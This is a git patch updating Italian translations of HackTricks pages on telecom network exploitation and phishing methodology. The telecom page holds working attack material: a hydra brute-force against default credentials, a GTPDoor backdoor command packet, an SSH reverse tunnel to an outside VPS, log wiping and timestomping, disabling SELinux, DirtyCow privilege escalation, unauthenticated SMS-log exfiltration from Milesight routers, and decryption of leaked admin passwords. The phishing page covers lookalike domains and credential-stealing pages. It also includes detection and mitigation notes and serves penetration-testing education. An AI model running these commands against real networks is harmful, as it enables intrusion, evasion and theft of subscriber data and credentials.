From ba1d3c06a1268e15cee05734b52a28175935d780 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 9 Oct 2025 00:48:14 +0000 Subject: [PATCH] Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw --- .../telecom-network-exploitation.md | 200 ++++++++---- .../phishing-methodology/README.md | 294 ++++++++++-------- 2 files changed, 292 insertions(+), 202 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index 014439aa8..9932fa947 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -1,27 +1,27 @@ -# Sfruttamento delle Reti Telecom (GTP / Ambienti Roaming) +# Sfruttamento delle reti telecom (GTP / ambienti di roaming) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming semi-trustati GRX/IPX. Poiché viaggiano su plain UDP con quasi nessuna autenticazione, **qualsiasi foothold all'interno del perimetro telecom può di solito raggiungere direttamente i piani di signalling core**. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC. +> I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-affidabili. Poiché viaggiano su plain UDP con quasi nessuna autenticazione, **qualsiasi foothold all'interno del perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core**. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC. -## 1. Recon & Initial Access +## 1. Ricognizione e Accesso Iniziale -### 1.1 Account OSS / NE Predefiniti -Un numero sorprendentemente elevato di elementi di rete dei vendor viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force: +### 1.1 Account OSS / NE di default +Un numero sorprendentemente elevato di vendor elementi di rete viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -Se il dispositivo espone solo una management VRF, esegui prima un pivot attraverso un jump host (vedi la sezione «SGSN Emu Tunnel» più sotto). +Se il dispositivo espone solo una management VRF, esegui prima un pivot tramite un jump host (vedi la sezione «SGSN Emu Tunnel» qui sotto). ### 1.2 Scoperta degli host all'interno di GRX/IPX -La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le probe UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C: +La maggior parte degli operatori GRX permette ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le sonde UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` -## 2. Enumerating Subscribers – `cordscan` +## 2. Enumerazione degli abbonati – `cordscan` -Il seguente Go tool crea pacchetti GTP-C Create PDP Context Request e registra le risposte. Ogni risposta rivela l'attuale SGSN / MME che serve l'IMSI interrogato e, talvolta, il PLMN visitato dall'abbonato. +Lo strumento Go seguente crea pacchetti **GTP-C Create PDP Context Request** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogato e, talvolta, il PLMN visitato dell'abbonato. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -32,7 +32,7 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan Flag principali: - `--imsi` IMSI dell'abbonato target - `--oper` Home / HNI (MCC+MNC) -- `-w` Scrive pacchetti raw in un file pcap +- `-w` Scrive pacchetti raw in pcap Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni: ``` @@ -42,9 +42,9 @@ common_tcp_ports = "22,23,80,443,8080" ``` ## 3. Esecuzione di codice su GTP – `GTPDoor` -`GTPDoor` è un piccolo servizio ELF che **si mette in ascolto sulla porta UDP 2123 e analizza ogni pacchetto GTP-C in ingresso**. Quando il payload inizia con un tag pre-condiviso, il resto viene decifrato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno di messaggi **Echo Response** in modo che non venga mai creata una sessione verso l'esterno. +`GTPDoor` è un piccolo servizio ELF che **si lega alla porta UDP 2123 e analizza ogni pacchetto GTP-C in arrivo**. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno dei messaggi **Echo Response** in modo che non venga mai creata una sessione in uscita. -Pacchetto PoC minimo (Python): +Minimal PoC packet (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" @@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Rilevamento: -* qualsiasi host che invia **unbalanced Echo Requests** agli SGSN IPs -* GTP version flag impostato a 1 mentre message type = 1 (Echo) – deviazione dalle specifiche +* qualsiasi host che invia **unbalanced Echo Requests** agli IP di SGSN +* GTP version flag impostato a 1 mentre message type = 1 (Echo) – deviazione dalla specifica ## 4. Pivoting attraverso il Core ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un PDP context verso un GGSN/PGW reale**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal roaming peer. +`OsmoGGSN` include un emulatore SGSN in grado di **stabilire un PDP context verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal peer di roaming. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -Con un corretto hair-pinning del firewall, questo tunnel bypassa le VLAN riservate alla segnalazione e ti porta direttamente nel **data plane**. +Con un corretto firewall hair-pinning, questo tunnel bypassa le signalling-only VLANs e ti porta direttamente nel **data plane**. ### 4.2 SSH Reverse Tunnel over Port 53 -DNS è quasi sempre aperto nelle infrastrutture di roaming. Esponi un servizio SSH interno sul tuo VPS in ascolto su :53 e ricollegati più tardi da casa: +Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno sul tuo VPS in ascolto su :53 e rientrare più tardi da casa: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` -Verifica che `GatewayPorts yes` sia abilitato sul VPS. +Verificare che `GatewayPorts yes` sia abilitato sul VPS. -## 5. Covert Channels +## 5. Canali Coverti | Canale | Trasporto | Decodifica | Note | -|---------|-----------|----------|-------| -| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | chiave a 4 byte + blocchi da 14 byte (XOR) | listener puramente passivo, nessun traffico in uscita | -| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti dell'A-record | monitora il sottodominio `*.nodep` | -| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE private | si miscela con il chatter GTP-C legittimo | +|--------|-----------|-----------|------| +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener puramente passivo, nessun traffico in uscita | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sottodominio `*.nodep` | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | si mimetizza nel traffico GTP legittimo | -All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. +Tutti gli implants implementano watchdogs che **timestomp** i loro binari e si riavviano se vengono terminati. -## 6. Defense Evasion Cheatsheet +## 6. Cheatsheet per l'Evasione delle Difese ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp @@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` -## 7. Escalation dei privilegi su NE legacy +## 7. Privilege Escalation su Legacy NE ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd @@ -116,76 +116,76 @@ Suggerimento per la pulizia: userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` -## 8. Strumenti +## 8. Tool Box * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections. -* `FScan` : scansione TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`) +* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting * `FRP` (≥0.37) : NAT traversal / asset bridging -## 9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay +## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay -La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la security NAS non viene attivata tramite Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security abilita molte vie di attacco quando puoi osservare o manomettere il traffico N2 (es. on-path all'interno del core, rogue gNB, o testbed). +La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la sicurezza NAS non è attivata tramite Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security permette diversi vettori d'attacco quando puoi osservare o manomettere il traffico N2 (es., on-path all'interno del core, rogue gNB, o testbed). -Registration flow (semplificato): -- Registration Request: UE invia SUCI (SUPI cifrato) e capability. -- Authentication: AMF/AUSF inviano RAND/AUTN; UE ritorna RES*. -- Security Mode Command/Complete: negozia e attiva integrità e cifratura NAS. -- PDU Session Establishment: setup IP/QoS. +Registration flow (simplified): +- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities. +- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*. +- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated. +- PDU Session Establishment: IP/QoS setup. -Suggerimenti per laboratorio (non-RF): -- Core: una deployment default di Open5GS è sufficiente per riprodurre i flussi. -- UE: simulator o test UE; decodifica con Wireshark. +Lab setup tips (non-RF): +- Core: Open5GS default deployment is sufficient to reproduce flows. +- UE: simulator or test UE; decode using Wireshark. - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). -- Filtri utili in Wireshark: +- Useful display filters in Wireshark: - ngap.procedure_code == 15 (InitialUEMessage) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) -### 9.1 Privacy degli identificatori: fallimenti SUCI che espongono SUPI/IMSI -Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato. +### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI +Aspettativa: UE/USIM devono trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato. Come testare: - Cattura il primo messaggio NAS in InitialUEMessage e ispeziona il Mobile Identity IE. -- Controlli rapidi con Wireshark: -- Dovrebbe decodificare come SUCI, non come IMSI. -- Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe essere presente; l'assenza di questo insieme alla presenza di `imsi` indica esposizione. +- Controlli rapidi in Wireshark: +- Dovrebbe decodificare come SUCI, non IMSI. +- Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe esistere; l'assenza insieme alla presenza di `imsi` indica leakage. Cosa raccogliere: -- MCC/MNC/MSIN se esposti; registra per-UE e traccia nel tempo/luoghi. +- MCC/MNC/MSIN se esposti; loggare per-UE e tracciare nel tempo/luoghi. Mitigazione: -- Forzare UEs/USIMs a usare solo SUCI; allertare su qualsiasi IMSI/SUPI presente nel NAS iniziale. +- Forzare UEs/USIMs a usare solo SUCI; alert su qualsiasi IMSI/SUPI nella initial NAS. -### 9.2 Declassamento delle capability verso algoritmi nulli (EEA0/EIA0) -Contesto: -- L'UE pubblicizza le EEA (encryption) e EIA (integrity) supportate nell'UE Security Capability IE della Registration Request. -- Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi nulli. +### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) +Background: +- L'UE annuncia le EEA (encryption) e EIA (integrity) supportate nel UE Security Capability IE della Registration Request. +- Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi null. Problema: -- Poiché la Registration Request non è protetta in integrità, un attacker on-path può azzerare i bit delle capability per forzare la selezione di EEA0/EIA0 più tardi durante il Security Mode Command. Alcuni stack permettono erroneamente algoritmi nulli anche fuori dai servizi di emergenza. +- Poiché la Registration Request non è protetta in integrità, un attaccante on-path può azzerare i bit di capability per costringere la selezione di EEA0/EIA0 più tardi durante Security Mode Command. Alcuni stack permettono erroneamente algoritmi null anche al di fuori dei servizi di emergenza. Passi offensivi: - Intercetta InitialUEMessage e modifica il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0. - Con Sni5Gect, aggancia il messaggio NAS e patcha i bit di capability prima di inoltrarlo. -- Osserva se l'AMF accetta cipher/integrità null e completa il Security Mode con EEA0/EIA0. +- Osserva se l'AMF accetta null ciphers/integrity e completa Security Mode con EEA0/EIA0. Verifica/visibilità: - In Wireshark, conferma gli algoritmi selezionati dopo Security Mode Command/Complete. -- Esempio di output di un sniffer passivo: +- Example passive sniffer output: ``` Encyrption in use [EEA0] Integrity in use [EIA0, EIA1, EIA2] SUPI (MCC+MNC+MSIN) 9997000000001 ``` Mitigazioni (obbligatorie): -- Configura AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente obbligatorio (es., chiamate di emergenza). -- Preferire l'imposizione di EEA2/EIA2 come minimo; registrare e generare allarmi per qualsiasi NAS security context che negozia algoritmi null. +- Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente richiesto (es. chiamate di emergenza). +- Preferire l'applicazione di EEA2/EIA2 come minimo; registrare e generare allarmi per qualsiasi contesto di sicurezza NAS che negozia null algorithms. -### 9.3 Replay of initial Registration Request (pre-security NAS) -Poiché il NAS iniziale manca di integrità e freschezza, un InitialUEMessage+Registration Request catturato può essere replayed verso AMF. +### 9.3 Replay della initial Registration Request (NAS pre-security) +Poiché il NAS iniziale manca di integrità e freshness, InitialUEMessage+Registration Request catturati possono essere replayed all'AMF. -PoC rule for 5GReplay to forward matching replays: +Regola PoC per 5GReplay per inoltrare i replay corrispondenti: ```xml ``` Cosa osservare: -- Se AMF accetta il replay e procede con Authentication; la mancanza di validazione di freshness o del binding del contesto indica esposizione. +- Whether AMF accepts the replay and proceeds to Authentication; la mancanza di validazione di freschezza/contesto indica esposizione. Mitigazioni: -- Imporre replay protection / binding del contesto sull'AMF; rate-limitare e correlare per-GNB/UE. +- Enforce replay protection/context binding sull'AMF; impostare rate-limit e correlare per-GNB/UE. ### 9.4 Tooling pointers (reproducible) - Open5GS: avviare un AMF/SMF/UPF per emulare il core; osservare N2 (NGAP) e NAS. -- Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registration. -- 5GReplay: catturare una registration, poi riprodurre specifici messaggi NGAP + NAS secondo la regola. -- Sni5Gect: sniff/modify/inject in tempo reale il control-plane NAS per forzare algoritmi null o perturbare le sequenze di Authentication. +- Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registrazione. +- 5GReplay: catturare una registrazione, poi replay di specifici messaggi NGAP + NAS come da regola. +- Sni5Gect: sniff/modify/inject in tempo reale del control-plane NAS per costringere null algorithms o perturbare le sequenze di autenticazione. ### 9.5 Defensive checklist -- Ispezionare continuamente le Registration Request per SUPI/IMSI in chiaro; bloccare i dispositivi/USIM non conformi. +- Ispezionare continuamente il Registration Request per SUPI/IMSI in chiaro; bloccare i dispositivi/USIMs responsabili. - Rifiutare EEA0/EIA0 eccetto per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2. - Rilevare infrastrutture rogue o mal configurate: gNB/AMF non autorizzati, peer N2 inattesi. -- Generare alert su NAS security modes che risultano in algoritmi null o frequenti replay di InitialUEMessage. +- Generare alert sulle modalità di sicurezza NAS che portano a null algorithms o a frequenti replay di InitialUEMessage. --- -## Idee per la rilevazione + +## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) + +L'abuso delle web API esposte dei router cellulari industriali consente smishing stealthy, apparentemente di origine carrier, su larga scala. I router Milesight della serie UR espongono un endpoint in stile JSON-RPC in `/cgi`. Se mal configurata, l'API può essere interrogata senza autenticazione per elencare inbox/outbox SMS e, in alcune implementazioni, per inviare SMS. + +Richieste tipiche non autenticate (stessa struttura per inbox/outbox): +```http +POST /cgi HTTP/1.1 +Host: +Content-Type: application/json + +{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } +``` + +```json +{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } +``` +Le risposte includono campi come `timestamp`, `content`, `phone_number` (E.164) e `status` (`success` o `failed`). Invii ripetuti con `failed` allo stesso numero sono spesso controlli di capacità dell'attaccante (“capability checks”) per verificare che un router/SIM possa consegnare prima di invii massivi. + +Esempio di curl per exfiltrate SMS metadata: +```bash +curl -sk -X POST http:///cgi \ +-H 'Content-Type: application/json' \ +-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' +``` +Note sugli artefatti di auth: +- Parte del traffico può includere un auth cookie, ma una larga parte dei dispositivi esposti risponde senza alcuna autenticazione a `query_inbox`/`query_outbox` quando l'interfaccia di gestione è esposta su Internet. +- In ambienti che richiedono auth, previously-leaked credentials (see below) ripristinano l'accesso. + +Credential recovery path – CVE-2023-43261: +- Famiglie interessate: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). +- Problema: i log serviti via web (es., `httpd.log`) sono raggiungibili senza autenticazione sotto `/lang/log/` e contengono eventi di login admin con la password cifrata usando una chiave/IV AES hardcoded presente nel JavaScript client-side. +- Accesso pratico e decifratura: +```bash +curl -sk http:///lang/log/httpd.log | sed -n '1,200p' +# Look for entries like: {"username":"admin","password":""} +``` +Script Python minimale per decifrare leaked passwords (AES-128-CBC, hardcoded key/IV): +```python +import base64 +from Crypto.Cipher import AES +from Crypto.Util.Padding import unpad +KEY=b'1111111111111111'; IV=b'2222222222222222' +enc_b64='...' # value from httpd.log +print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) +``` +Hunting e idee per il rilevamento (network): +- Allertare su richieste non autenticate `POST /cgi` il cui corpo JSON contiene `base`/`function` impostati su `query_inbox` o `query_outbox`. +- Monitorare ripetute serie di `POST /cgi` seguite da voci `status":"failed"` su molti numeri unici provenienti dallo stesso IP sorgente (capability testing). +- Inventariare i router Milesight esposti su Internet; limitare la gestione via VPN; disabilitare le funzionalità SMS salvo necessità; aggiornare a ≥ v35.3.0.7; ruotare le credenziali e controllare i log SMS per invii sconosciuti. + +Shodan/OSINT pivots (esempi osservati sul campo): +- `http.html:"rt_title"` corrisponde ai pannelli dei router Milesight. +- Google dorking per log esposti: `"/lang/log/system" ext:log`. + +Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale. + +--- + +## Idee per il rilevamento 1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce Create PDP Context Requests**. 2. **Porte non standard (53, 80, 443) che ricevono SSH handshakes** da IP interni. -3. **Frequent Echo Requests senza corrispondenti Echo Responses** – potrebbero indicare beacon GTPDoor. -4. **Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e non-zero**. -5. 5G: **InitialUEMessage che trasporta NAS Registration Requests ripetute dallo stesso endpoint** (segnale di replay). +3. **Echo Requests frequenti senza corrispondenti Echo Responses** – potrebbero indicare beacon GTPDoor. +4. **Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e non nulli**. +5. 5G: **InitialUEMessage che trasporta NAS Registration Requests ripetute dagli stessi endpoint** (segnale di replay). 6. 5G: **NAS Security Mode che negozia EEA0/EIA0** al di fuori di contesti di emergenza. ## References @@ -243,5 +302,8 @@ Mitigazioni: - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 33.501 – Security architecture and procedures for 5G System +- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) +- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) +- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index 41ffc3df4..f17f55aa2 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -1,19 +1,19 @@ -# Phishing Methodology +# Metodologia del Phishing {{#include ../../banners/hacktricks-training.md}} ## Metodologia -1. Recon the victim +1. Ricognizione della vittima 1. Seleziona il **dominio della vittima**. -2. Esegui una enumerazione web di base **cercando portali di login** usati dalla vittima e **decidi** quale impersonare. -3. Usa OSINT per **trovare indirizzi email**. +2. Esegui una enumerazione web di base **cercando portali di login** usati dalla vittima e **decidi** quale andrai a **impersonare**. +3. Usa **OSINT** per **trovare indirizzi email**. 2. Prepara l'ambiente -1. **Compra il dominio** che userai per la valutazione di phishing -2. **Configura i record** correlati al servizio email (SPF, DMARC, DKIM, rDNS) +1. **Compra il dominio** che utilizzerai per l'attività di phishing +2. **Configura il servizio email** e i record correlati (SPF, DMARC, DKIM, rDNS) 3. Configura il VPS con **gophish** 3. Prepara la campagna -1. Prepara il **template dell'email** +1. Prepara il **modello email** 2. Prepara la **pagina web** per rubare le credenziali 4. Lancia la campagna! @@ -21,23 +21,23 @@ ### Domain Name Variation Techniques -- **Keyword**: Il nome di dominio **contiene** una parola chiave importante del dominio originale (es., zelster.com-management.com). -- **hypened subdomain**: Sostituisci il **punto con un trattino** in un sottodominio (es., www-zelster.com). -- **New TLD**: Stesso dominio usando una **nuova TLD** (es., zelster.org) -- **Homoglyph**: Sostituisce una lettera nel nome di dominio con **caratteri dall'aspetto simile** (es., zelfser.com). +- **Keyword**: Il nome di dominio **contiene** un'importante **keyword** del dominio originale (e.g., zelster.com-management.com). +- **hypened subdomain**: Sostituisci il **punto con un trattino** di un sottodominio (e.g., www-zelster.com). +- **New TLD**: Stesso dominio usando una **new TLD** (e.g., zelster.org) +- **Homoglyph**: Sostituisce una lettera nel nome di dominio con **lettere che sembrano simili** (e.g., zelfser.com). {{#ref}} homograph-attacks.md {{#endref}} -- **Transposition:** Scambia due lettere all'interno del nome di dominio (es., zelsetr.com). -- **Singularization/Pluralization**: Aggiunge o rimuove una “s” alla fine del nome di dominio (es., zeltsers.com). -- **Omission**: Rimuove una delle lettere dal nome di dominio (es., zelser.com). -- **Repetition:** Ripete una delle lettere nel nome di dominio (es., zeltsser.com). -- **Replacement**: Simile all'homoglyph ma meno stealthy. Sostituisce una delle lettere nel nome di dominio, magari con una lettera vicina sulla tastiera (es., zektser.com). -- **Subdomained**: Introduce un **punto** all'interno del nome di dominio (es., ze.lster.com). -- **Insertion**: Inserisce una lettera nel nome di dominio (es., zerltser.com). -- **Missing dot**: Aggiunge la TLD direttamente al nome di dominio. (es., zelstercom.com) +- **Transposition:** Scambia due lettere all'interno del nome di dominio (e.g., zelsetr.com). +- **Singularization/Pluralization**: Aggiunge o rimuove la “s” alla fine del nome di dominio (e.g., zeltsers.com). +- **Omission**: Rimuove una delle lettere dal nome di dominio (e.g., zelser.com). +- **Repetition:** Ripete una delle lettere nel nome di dominio (e.g., zeltsser.com). +- **Replacement**: Simile a homoglyph ma meno stealthy. Sostituisce una delle lettere nel nome di dominio, magari con una lettera vicina sulla tastiera (e.g, zektser.com). +- **Subdomained**: Introduce un **punto** all'interno del nome di dominio (e.g., ze.lster.com). +- **Insertion**: Inserisce una lettera nel nome di dominio (e.g., zerltser.com). +- **Missing dot**: Appende la TLD al nome di dominio. (e.g., zelstercom.com) **Automatic Tools** @@ -52,20 +52,20 @@ homograph-attacks.md ### Bitflipping -Esiste la **possibilità che uno o più bit memorizzati o in comunicazione vengano invertiti automaticamente** a causa di vari fattori come brillamenti solari, raggi cosmici o errori hardware. +Esiste la **possibilità che uno o più bit memorizzati o in comunicazione vengano automaticamente invertiti** a causa di vari fattori come eruzioni solari, raggi cosmici o errori hardware. -Quando questo concetto viene **applicato alle richieste DNS**, è possibile che il **dominio ricevuto dal server DNS** non sia lo stesso del dominio inizialmente richiesto. +Quando questo concetto è **applicato alle richieste DNS**, è possibile che il **dominio ricevuto dal server DNS** non sia lo stesso del dominio inizialmente richiesto. -Per esempio, una singola modifica di bit nel dominio "windows.com" può trasformarlo in "windnws.com." +Per esempio, una singola modifica di bit nel dominio "windows.com" può cambiarlo in "windnws.com." -Gli attacker possono **sfruttare questo registrando più domini bit-flipping** simili al dominio della vittima. L'intento è reindirizzare gli utenti legittimi alla propria infrastruttura. +Gli attaccanti possono **sfruttare questo registrando più domini bit-flipping** simili al dominio della vittima. L'intento è reindirizzare gli utenti legittimi verso la loro infrastruttura. Per maggiori informazioni leggi [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) ### Buy a trusted domain Puoi cercare su [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio scaduto che potresti usare.\ -Per assicurarti che il dominio scaduto che intendi acquistare **abbia già un buon SEO** puoi verificare come è categorizzato in: +Per assicurarti che il dominio scaduto che stai per acquistare **abbia già un buon SEO** puoi verificare come è categorizzato in: - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) @@ -78,8 +78,8 @@ Per assicurarti che il dominio scaduto che intendi acquistare **abbia già un bu - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -Per **scoprire più** indirizzi email validi o **verificare quelli** che hai già scoperto puoi controllare se puoi effettuare username brute force contro i server smtp della vittima. [Scopri come verificare/scoprire indirizzi email qui](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ -Inoltre, non dimenticare che se gli utenti usano **un web portal per accedere alle loro mail**, puoi verificare se è vulnerabile a username brute force e sfruttare la vulnerabilità se possibile. +Per **scoprire più** indirizzi email validi o **verificare quelli** che hai già trovato puoi controllare se è possibile effettuare brute-force sui server smtp della vittima. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ +Inoltre, non dimenticare che se gli utenti usano **qualsiasi portale web per accedere alle loro mail**, puoi verificare se è vulnerabile a **username brute force**, ed eventualmente sfruttare la vulnerabilità se possibile. ## Configuring GoPhish @@ -87,8 +87,8 @@ Inoltre, non dimenticare che se gli utenti usano **un web portal per accedere al Puoi scaricarlo da [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) -Scaricalo e decomprimilo dentro `/opt/gophish` ed esegui `/opt/gophish/gophish`\ -Ti verrà fornita una password per l'utente admin sulla porta 3333 nell'output. Quindi, accedi a quella porta e usa quelle credenziali per cambiare la password admin. Potrebbe essere necessario fare il tunnel di quella porta in locale: +Download e decomprimi dentro `/opt/gophish` ed esegui `/opt/gophish/gophish`\ +Ti verrà mostrata una password per l'utente admin sulla porta 3333 nell'output. Quindi, accedi a quella porta e usa quelle credenziali per cambiare la password admin. Potrebbe essere necessario fare il tunneling di quella porta in locale: ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 @ **Configurazione del certificato TLS** -Prima di questo passaggio dovresti aver **già acquistato il dominio** che intendi usare e deve essere **indirizzato** all'**IP del VPS** dove stai configurando **gophish**. +Prima di questo passaggio dovresti **aver già acquistato il dominio** che intendi usare e deve essere **indirizzato** all'**IP del VPS** dove stai configurando **gophish**. ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -112,7 +112,7 @@ 